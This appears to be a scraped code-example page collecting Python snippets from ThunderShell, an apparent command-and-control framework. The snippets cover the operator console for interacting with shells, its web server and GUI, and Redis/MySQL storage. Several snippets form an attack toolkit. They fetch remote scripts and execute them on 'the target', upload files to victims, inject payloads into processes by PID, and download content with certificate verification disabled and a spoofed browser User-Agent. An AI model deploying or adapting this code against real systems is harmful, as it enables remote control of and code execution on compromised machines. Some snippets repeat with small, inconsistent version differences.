Exemple #1
0
 def parse_cmd(self, data):
     cmd = data.split(" ", 1)[0].lower()
     if not self.guid == "":
         if cmd == "background":
             self._prompt = "Main"
             self.db.remove_active_user(self.config.get("uid"), self.guid)
             self.guid = ""
         elif cmd == "exit":
             UI.error("*** You really want to kill this shell *** (yes/no)")
             if UI.prompt("Exit").lower() == "yes":
                 self.db.push_cmd(self.guid, "exit", Utils.guid(), self.config.get("username"))
                 self._prompt = "Main"
                 self.guid = ""
         else:
             self.db.append_shell_data(self.guid, "[%s] %s - Sending command: \n%s\n\n" % (Utils.timestamp(), self.config.get("username"), data))
             Log.log_shell(self.guid, "- Sending command", data, self.config.get("username"))
             if cmd in self.shell_cmds:
                 callback = self.shell_cmds[cmd]
                 data = callback(data)
             if not (cmd == "help" or data == ""):
                 self.db.push_cmd(self.guid, data, Utils.guid(),self.config.get("username"))
     else:
     # interacting with the main console
         if cmd in self.cmds:
             callback = self.cmds[cmd]
             callback(data)
         elif not cmd.strip() == "":
             UI.error("%s is not a valid command" % cmd)
Exemple #2
0
    def parse_cmd(self, data):
        cmd = data.split(" ", 1)[0].lower() 
        
        # interacting with a shell
        if not self.guid == "":
            if cmd == "background":
                self._prompt = "Main"
                self.guid = ""
            
            elif cmd == "exit":
                UI.error("*** You really want to kill this shell *** (yes/no)")
                if UI.prompt("Exit").lower() == "yes":
                    self.db.push_cmd(self.guid, "exit")
                    self._prompt = "Main"
                    self.guid = ""
            else:
                Log.log_shell(self.guid, "Sending", data)
                if self.shell_cmds.has_key(cmd):
                    callback = self.shell_cmds[cmd]
                    data = callback(data)

                if not (cmd == "help" or data == ""):
                    self.db.push_cmd(self.guid, data)
                    self.get_cmd_output()
                
        # interacting with the main console
        else:
            if self.cmds.has_key(cmd):
                callback = self.cmds[cmd]
                callback(data)
            else:
                UI.error("%s is not a valid command" % cmd)
Exemple #3
0
 def exec_code(self, data):
     try:
         cmd, path = data.split(" ", 1)
     except:
         UI.error("Missing arguments")
         return ""
     
     data = ";"
     path = self.alias.get_alias(path)
     if Utils.file_exists(path, False, False):
         data = Utils.load_file_unsafe(path)
     else:
         data = Utils.download_url(path)     
         
     if not data == ";":
         UI.success("Fetching %s" % path)
         
         data = base64.b64encode(data)
         ps = Utils.load_powershell_script("exec.ps1", 12)
         ps = Utils.update_key(ps, "PAYLOAD", data)
         UI.success("Payload should be executed shortly on the target")
         return ps
     else:
         UI.error("Cannot fetch the resource")
         return data
Exemple #4
0
def start_gui(config, cli):
    prefix = "http://"

    try:
        port = int(config.get("gui-port"))
    except:
        UI.error("(gui-port) GUI HTTP port need to be a integer.", True)

    if config.get("https-enabled") == "on":
        prefix = "https://"

    UI.warn('Web GUI Started: %s%s:%s' %
            (prefix, config.get('gui-host'), config.get('gui-port')))
    UI.warn('Web GUI Password: %s' % config.get('server-password'))

    app.init(config, cli)
    path = "%s/logs/%s" % (os.getcwd(), str(time.strftime("%d-%m-%Y")))
    gui_log = "%s/gui.log" % path

    if not os.path.exists(path):
        os.makedirs(path)

    fd = os.open(gui_log, os.O_RDWR | os.O_CREAT)
    stderr = 2
    websocket.run(app,
                  host=config.get("gui-host"),
                  port=port,
                  log_output=os.dup2(fd, stderr))
Exemple #5
0
 def read_file(self, data):
     try:
         cmd, path = data.split(" ", 2)
         return "Get-Content %s" % path
     except:
         UI.error("Missing arguments")
         return ""
Exemple #6
0
 def upload_file(self, data):
     try:
         cmd, path, remote = data.split(" ", 2)
     except:
         UI.error("Missing arguments")
         return ""
     
     data = ";"
     path = self.alias.get_alias(path)
     if Utils.file_exists(path, False, False):
         data = Utils.load_file_unsafe(path)
     else:
         data = Utils.download_url(path)     
         
     if not data == ";":
         UI.success("Fetching %s" % path)
         
         data = base64.b64encode(data)
         ps = Utils.load_powershell_script("upload.ps1", 3)
         ps = Utils.update_key(ps, "PAYLOAD", data)
         ps = Utils.update_key(ps, "PATH", remote)
         UI.success("Payload will be saved at %s" % path)
         return ps
     else:
         UI.error("Cannot fetch the resource")
         return data
Exemple #7
0
 def file_exists(path, die=False, show_error=True):
     if os.path.exists(path):
         return True
     
     if show_error:
         UI.error("%s not found" % path, die)
     return False
Exemple #8
0
 def read_file(self, data):
     try:
         (cmd, path) = data.split(' ', 2)
         return 'Get-Content %s' % path
     except:
         UI.error('Missing arguments')
         return ''
Exemple #9
0
 def flushdb(self, data):
     force = Utils.get_arg_at(data, 1, 1)
     if force:
         self.db.flushdb()
         UI.error("The whole redis DB was flushed")
     else:
         UI.error("Please use the force switch")
Exemple #10
0
    def parse_cmd(self, data):
        cmd = data.split(" ", 1)[0].lower()
        
        # interacting with a shell
        if not self.guid == "":
            if cmd == "background":
                self._prompt = "Main"
                self.guid = ""
            
            elif cmd == "exit":
                UI.error("*** You really want to kill this shell *** (yes/no)")
                if UI.prompt("Exit").lower() == "yes":
                    self.db.push_cmd(self.guid, "exit")
                    self._prompt = "Main"
                    self.guid = ""
            else:
                Log.log_shell(self.guid, "Sending", data)
                if self.shell_cmds.has_key(cmd):
                    callback = self.shell_cmds[cmd]
                    data = callback(data)

                if not (cmd == "help" or data == ""):
                    self.db.push_cmd(self.guid, data)
                    self.get_cmd_output()
                
        # interacting with the main console
        else:
            if self.cmds.has_key(cmd):
                callback = self.cmds[cmd]
                callback(data)
            else:
                UI.error("%s is not a valid command" % cmd)
Exemple #11
0
 def read_file(self, data):
     try:
         cmd, path = data.split(" ", 2)
         return "Get-Content %s" % path
     except:
         UI.error("Missing arguments")
         return ""
Exemple #12
0
def start_httpd(config):
    ip = config.get('http-host')
    try:
        port = int(config.get('http-port'))
    except:
        UI.error("(http-port) HTTP port need to be a integer.", True)

    print '\r\n'
    UI.success('Starting web server on %s port %d' % (ip, port))
    try:
        server_class = BaseHTTPServer.HTTPServer
        factory = HTTPDFactory(config)
        httpd_server = server_class((ip, port), factory)
        if config.get('https-enabled') == 'on':
            cert = config.get('https-cert-path')
            Utils.file_exists(cert, True)

            httpd_server.socket = ssl.wrap_socket(httpd_server.socket,
                                                  certfile=cert)
            UI.success('Web server is using HTTPS')

        httpd_server.serve_forever()
    except:
        UI.error(
            'Server was not able to start (Port already in use?)... Aborting',
            True)
Exemple #13
0
 def upload_file(self, data):
     try:
         cmd, path, remote = data.split(" ", 2)
     except:
         UI.error("Missing arguments")
         return ""
     
     data = ";"
     path = self.alias.get_alias(path)
     if Utils.file_exists(path, False, False):
         data = Utils.load_file_unsafe(path)
     else:
         data = Utils.download_url(path)     
         
     if not data == ";":
         UI.success("Fetching %s" % path)
         
         data = base64.b64encode(data)
         ps = Utils.load_powershell_script("upload.ps1", 3)
         ps = Utils.update_key(ps, "PAYLOAD", data)
         ps = Utils.update_key(ps, "PATH", remote)
         UI.success("Payload will be saved at %s" % path)
         return ps
     else:
         UI.error("Cannot fetch the resource")
         return data
Exemple #14
0
 def exec_code(self, data):
     try:
         cmd, path = data.split(" ", 1)
     except:
         UI.error("Missing arguments")
         return ""
     
     data = ";"
     path = self.alias.get_alias(path)
     if Utils.file_exists(path, False, False):
         data = Utils.load_file_unsafe(path)
     else:
         data = Utils.download_url(path)     
         
     if not data == ";":
         UI.success("Fetching %s" % path)
         
         data = base64.b64encode(data)
         ps = Utils.load_powershell_script("exec.ps1", 16)
         ps = Utils.update_key(ps, "PAYLOAD", data)
         UI.success("Payload should be executed shortly on the target")
         return ps
     else:
         UI.error("Cannot fetch the resource")
         return data
Exemple #15
0
    def install_db(self):
        cursor = self.conn.cursor()
        cursor.execute(
            "SELECT 1 FROM information_schema.tables WHERE table_schema = 'thundershell' AND table_name = 'active_session'"
        )

        if cursor.rowcount == 0:
            UI.error("Creating MySQL tables for first time use")
            cursor.execute("CREATE DATABASE thundershell")
            cursor.execute(
                "CREATE TABLE thundershell.active_session (uid varchar(36), shell varchar(16))"
            )
            cursor.execute(
                "CREATE TABLE thundershell.shell_cmd (shell varchar(16), guid varchar(36), uid varchar(36), timestamp int, origin varchar(50))"
            )
            cursor.execute(
                "CREATE TABLE thundershell.shell_response (shell varchar(16), guid varchar(36), uid varchar(36), timestamp int)"
            )
            cursor.execute(
                "CREATE TABLE thundershell.shell_cmd_data(guid varchar(36), data longtext)"
            )
            self.conn.commit()

        cursor.close()
        return self
Exemple #16
0
    def file_exists(path, die=False, show_error=True):
        if os.path.exists(path):
            return True

        if show_error:
            UI.error("%s not found" % path, die)
        return False
Exemple #17
0
 def view_event(self, data):
     log_path = Utils.get_arg_at(data, 1, 2)
     if log_path == "":
         UI.error("Missing arguments")
         return 
 
     log_path += ".log"
     
     rows = Utils.get_arg_at(data, 2, 2)
     if rows == "":
         rows = 10
     else:
         try:
             rows = int(rows)
         except:
             rows = 10
             
     log_path = Log.get_current_path(log_path)
     
     data = []
     
     if Utils.file_exists(log_path):
         for line in open(log_path, "rb").readlines():
             data.append(line)
         
         print "\nLast %d lines of log\n-----------------------\n" % rows    
         data = list(reversed(data))
         
         for i in range(0, rows):
             try:
                 print data[i]
             except:
                 pass
Exemple #18
0
def start_gui(config):
    prefix = "http://"

    try:
        port = int(config.get("gui-port"))
    except:
        UI.error("(gui-port) GUI HTTP port need to be a integer.", True)

    if config.get("https-enabled") == "on":
        prefix = "https://"

    web_config = {}
    web_config["server"] = "%s%s:%s" % (prefix, config.get("http-host"),
                                        config.get("http-port"))
    web_config["version"] = version
    app.init(config, web_config)
    path = "%s/logs/%s" % (os.getcwd(), str(time.strftime("%d-%m-%Y")))
    gui_log = "%s/gui.log" % path

    if not os.path.exists(path):
        os.makedirs(path)

    fd = os.open(gui_log, os.O_RDWR | os.O_CREAT)
    fd2 = 2
    websocket.run(app,
                  host=config.get("gui-host"),
                  port=port,
                  log_output=os.dup2(fd, fd2))
Exemple #19
0
 def parse_cmd(self, data):
     cmd = data.split(' ', 1)[0].lower()
     if not self.guid == '':
         if cmd == 'background':
             self._prompt = 'Main'
             self.db.remove_active_user(self.config.get('uid'), self.guid)
             self.guid = ''
         elif cmd == 'exit':
             UI.error('*** You really want to kill this shell *** (yes/no)')
             if UI.prompt('Exit').lower() == 'yes':
                 self.db.push_cmd(self.guid, 'exit', Utils.guid(),
                                  self.config.get('username'))
                 self._prompt = 'Main'
                 self.guid = ''
         else:
             self.db.append_shell_data(
                 self.guid, '[%s] %s Sending: \n%s\n\n' %
                 (Utils.timestamp(), self.config.get('username'), data))
             Log.log_shell(self.guid, 'Sending', data,
                           self.config.get('username'))
             if self.shell_cmds.has_key(cmd):
                 callback = self.shell_cmds[cmd]
                 data = callback(data)
             if not (cmd == 'help' or data == ''):
                 self.db.push_cmd(self.guid, data, Utils.guid(),
                                  self.config.get('username'))
     else:
         # interacting with the main console
         if self.cmds.has_key(cmd):
             callback = self.cmds[cmd]
             callback(data)
         elif not cmd.strip() == '':
             UI.error('%s is not a valid command' % cmd)
Exemple #20
0
def start_httpd(config):
    ip = config.get("http-host")
    try:
        port = int(config.get("http-port"))
    except:
        UI.error("(http-port) HTTP port need to be a integer.", True)

    UI.warn("Starting web server on %s port %d" % (ip, port))
    try:
        server_class = http.server.HTTPServer
        if ":" in config.get("http-host"):
            UI.warn("IPv6 detected")
            server_class = HTTPServerIPv6
        factory = HTTPDFactory(config)
        httpd_server = server_class((ip, port), factory)
        if config.get("https-enabled") == "on":
            cert = config.get("https-cert-path")
            Utils.file_exists(cert, True)

            httpd_server.socket = ssl.wrap_socket(httpd_server.socket,
                                                  certfile=cert)
            UI.warn("Web server is using HTTPS")

        httpd_server.serve_forever()

    except Exception as e:
        print(sys.exc_info()[1])
        UI.error(
            "Server was not able to start (Port already in use?)... Aborting",
            True)
Exemple #21
0
 def view_event(self, data):
     log_path = Utils.get_arg_at(data, 1, 2)
     if log_path == "":
         UI.error("Missing arguments")
         return 
 
     log_path += ".log"
     
     rows = Utils.get_arg_at(data, 2, 2)
     if rows == "":
         rows = 10
     else:
         try:
             rows = int(rows)
         except:
             rows = 10
             
     log_path = Log.get_current_path(log_path)
     
     data = []
     
     if Utils.file_exists(log_path):
         for line in open(log_path, "rb").readlines():
             data.append(line)
         
         print("\nLast %d lines of log\n----------------------\n" % rows)    
         data = list(data)
         
         for i in range(0, rows):
             try:
                 print data[i]
             except:
                 pass
Exemple #22
0
 def install_dependencies():
     UI.warn("Installing dependencies")
     if not os.getuid() == 0:
         UI.error("root privileges required to install the dependencies")
     os.system(
         "apt update && apt install mysql-server redis-server mono-dmcs python-tabulate python-mysqldb python-redis -y"
     )
     UI.error("Installation completed please restart ThunderShell", True)
Exemple #23
0
 def install_dependencies():
     UI.warn("Installing dependencies")
     if not os.getuid() == 0:
         UI.error("root privileges required to install the dependencies")
     os.system(
         "/usr/bin/apt update && /usr/bin/apt install redis-server mono-mcs python3-tabulate python3-redis python3-flask python3-dev python3-pip python3-gevent -y && /usr/bin/python3 -m pip install flask-socketio"
     )
     UI.error("Installation completed please restart ThunderShell", True)
Exemple #24
0
 def check_dependencies():
     try:
         from tabulate import tabulate
         import redis
         import MySQLdb
     except:
         UI.error("Missing dependencies", False)
         Utils.install_dependencies()
Exemple #25
0
    def install_dependencies():
        UI.warn('Installing dependencies')
        if not os.getuid() == 0:
            UI.error('root privileges required to install the dependencies')

        os.system(
            '/usr/bin/apt update && /usr/bin/apt install redis-server mono-dmcs python-tabulate python-redis python-flask python-dev libxml2-dev libxslt-dev python-pip -y && pip install flask-socketIO'
        )
        UI.error('Installation completed please restart ThunderShell', True)
Exemple #26
0
 def check_dependencies():
     try:
         from tabulate import tabulate
         from flask_socketio import SocketIO
         import flask
         import redis
     except:
         UI.error('Missing dependencies', False)
         Utils.install_dependencies()
Exemple #27
0
 def os_shell(self, data):
     cmd = Utils.get_arg_at(data, 1, 1)
     print("""Executing: %s\n----------------------""" % cmd)
     try:
         output = subprocess.check_output(cmd,stderr=subprocess.PIPE, shell=True)
     except:
         UI.error("Command failed to execute properly")
         output = ""
     print(output)
Exemple #28
0
 def init_redis(self):
     try:
         self.conn = redis.StrictRedis(host=self.config.get('redis-host'),
                                       port=int(
                                           self.config.get('redis-port')),
                                       db=0)
         self.set_last_id()
     except:
         UI.error('Failed to connect to the redis instance', True)
Exemple #29
0
 def check_dependencies():
     try:
         from tabulate import tabulate
         import redis
         import MySQLdb
     except:
         UI.error(
             "Missing depencies. Install (python-redis, python-tabulate, python-mysqldb)",
             True)
Exemple #30
0
 def set_alias(self, data):
     try:
         (cmd, key, value) = data.split(' ', 2)
     except:
         UI.error('Missing arguments')
         return ''
     self.alias.set_custom(key, value)
     UI.success('%s is now set to %s' % (key, value))
     return ''
Exemple #31
0
 def set_alias(self, data):
     try:
         (cmd, key, value) = data.split(" ", 2)
     except:
         UI.error("Missing arguments")
         return ""
     self.alias.set_custom(key, value)
     UI.success("%s is now set to %s" % (key, value))
     return ""
Exemple #32
0
 def init_mysql(self):
     try:
         self.conn = MySQLdb.connect(host=self.config.get('mysql-host'),
                                     port=int(
                                         self.config.get('mysql-port')),
                                     user=self.config.get('mysql-user'),
                                     passwd=self.config.get('mysql-pass'))
         self.conn.autocommit(True)
     except:
         UI.error('Failed to connect to the MySQL instance', True)
Exemple #33
0
 def powerless(self, data):
     try:
         cmd, ps_cmd = data.split(" ", 1)
     except:
         UI.error("Missing arguments")
         return ""
            
     ps = Utils.load_powershell_script("powerless.ps1", 22)
     ps = Utils.update_key(ps, "PAYLOAD", base64.b64encode(ps_cmd))
     return ps
Exemple #34
0
 def powerless(self, data):
     try:
         cmd, ps_cmd = data.split(" ", 1)
     except:
         UI.error("Missing arguments")
         return ""
            
     ps = Utils.load_powershell_script("powerless.ps1", 22)
     ps = Utils.update_key(ps, "PAYLOAD", base64.b64encode(ps_cmd))
     return ps
Exemple #35
0
 def check_dependencies():
     try:
         from tabulate import tabulate
         from flask_socketio import SocketIO
         import flask
         import redis
     except Exception as e:
         print(e)
         UI.error("Missing dependencies", False)
         Utils.install_dependencies()
Exemple #36
0
 def set_alias(self, data):
     try:
          cmd, key, value = data.split(" ", 2)
     except:
         UI.error("Missing arguments")
         return ""    
     
     self.alias.set_custom(key, value)
     UI.success("%s is now set to %s" % (key, value))
        
     return ""
Exemple #37
0
 def os_shell(self, data):
     cmd = Utils.get_arg_at(data, 1, 1)
     print '''Executing: %s\n----------------------''' % cmd
     try:
         output = subprocess.check_output(cmd,
                                          stderr=subprocess.PIPE,
                                          shell=True)
     except:
         UI.error('Command failed to execute properly')
         output = ''
     print output
Exemple #38
0
 def install_dependencies(pyver):
     UI.warn("Installing dependencies")
     if not os.getuid() == 0:
         UI.error("root privileges required to install the dependencies")
     os.system("/usr/bin/apt update && /usr/bin/apt install redis-server mono-mcs python%s python%s-pip python%s-dev -y" % (pyver, pyver, pyver))
     os.system("pip%s install tabulate" % pyver)
     os.system("pip%s install redis" % pyver)
     os.system("pip%s install flask" % pyver)
     os.system("pip%s install flask-socketio" % pyver)
     os.system("pip%s install pycrypto" % pyver)
     os.system("pip%s install gevent" % pyver)
Exemple #39
0
  def inject(self, data):
      try:
          option, pid, cmd = data.split(" ", 2)
      except:
          UI.error("Missing arguments")
          return ""
 
      ps = Utils.load_powershell_script("injector.ps1", 1)
      ps = Utils.update_key(ps, "PAYLOAD", base64.b64encode(cmd))
      ps = Utils.update_key(ps, "PID", pid)
      UI.success("Injecting %s" % cmd)
      UI.success("Into process with PID %s" % pid)
      return ps
Exemple #40
0
 def interact(self, data):
     current_id = Utils.get_arg_at(data, 1, 2)
     guid = ""
     for shell in self.db.get_all_shell_id():
         id = self.db.get_data(shell)
         if current_id == id:
             guid = shell.split(":")[0]
             break
         
     if not guid == "":
         self.guid = guid
         self._prompt = self.db.get_data("%s:prompt" % guid)
     else:
         UI.error("Invalid session ID")
Exemple #41
0
 def kill_shell(self, data):
     current_id = Utils.get_arg_at(data, 1, 2)
     guid = ""
     for shell in self.db.get_all_shell_id():
         id = self.db.get_data(shell)
         if current_id == id:
             guid = shell.split(":")[0]
             break
         
     if not guid == "":
         self.db.delete_all_by_guid(guid)
         print "Deleting shell with ID %s" % current_id
     else:
         UI.error("Invalid session ID")
Exemple #42
0
 def download_url(path):
     request = urllib2.Request(path)
     request.add_header("User-Agent", "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:55.0) Gecko/20100101 Firefox/55.0")
     
     # Accept invalid cert
     context = ssl.create_default_context()
     context.check_hostname = False
     context.verify_mode = ssl.CERT_NONE
     
     data = ""
     try:
         data = urllib2.urlopen(request, context=context).read()
     except:
         UI.error("Failed to fetch %s" % path)
     
     return data
Exemple #43
0
 def fetch(self, data):
     try:
         cmd, path, ps = data.split(" ", 2)
     except:
         UI.error("Missing arguments")
         return ""
     
     data = ";"
     path = self.alias.get_alias(path)
     if Utils.file_exists(path, False, False):
         data = Utils.load_file_unsafe(path)
     else:
         data = Utils.download_url(path)
         
     if not data == ";":
         UI.success("Fetching %s" % path)
         UI.success("Executing %s" % ps)
     
         return "%s;%s" % (data, ps)
     else:
         UI.error("Cannot fetch the resource")
         return ""
 def init_redis(self):
     try:
         self.conn = redis.StrictRedis(host=self.config.get("redis-host"), port=int(self.config.get("redis-port")), db=0)
         self.set_last_id()
     except:
         UI.error("Failed to connect to the redis instance", True)
    @author: Mr.Un1k0d3r RingZer0 Team
    @package: launch
"""
import os
import sys
from core.config import CONFIG
from core.redisquery import RedisQuery
from core.httpd import init_httpd_thread
from core.cli import Cli
from core.ui import UI

if __name__ == "__main__":
    UI.banner()
    
    if len(sys.argv) < 2:
        UI.error("Missing configuration file path\n\nUsage: %s config (optional -nohttpd)" % sys.argv[0], True)
        
    config = CONFIG(sys.argv[1])
    db = RedisQuery(config)
    config.set("redis", db)
    
    
    # Launch the HTTPD daemon
    if not "-nohttpd" in sys.argv:
        httpd_thread = init_httpd_thread(config)
    
    cli = Cli(config)
    
    while True:
        try:
            cmd = cli.prompt()
Exemple #46
0
 def parse_config(self):
     try:
         self.configs = json.loads(Utils.load_file(self.path, True))
     except:
         UI.error("%s configuration file is not valid" % self.path, True)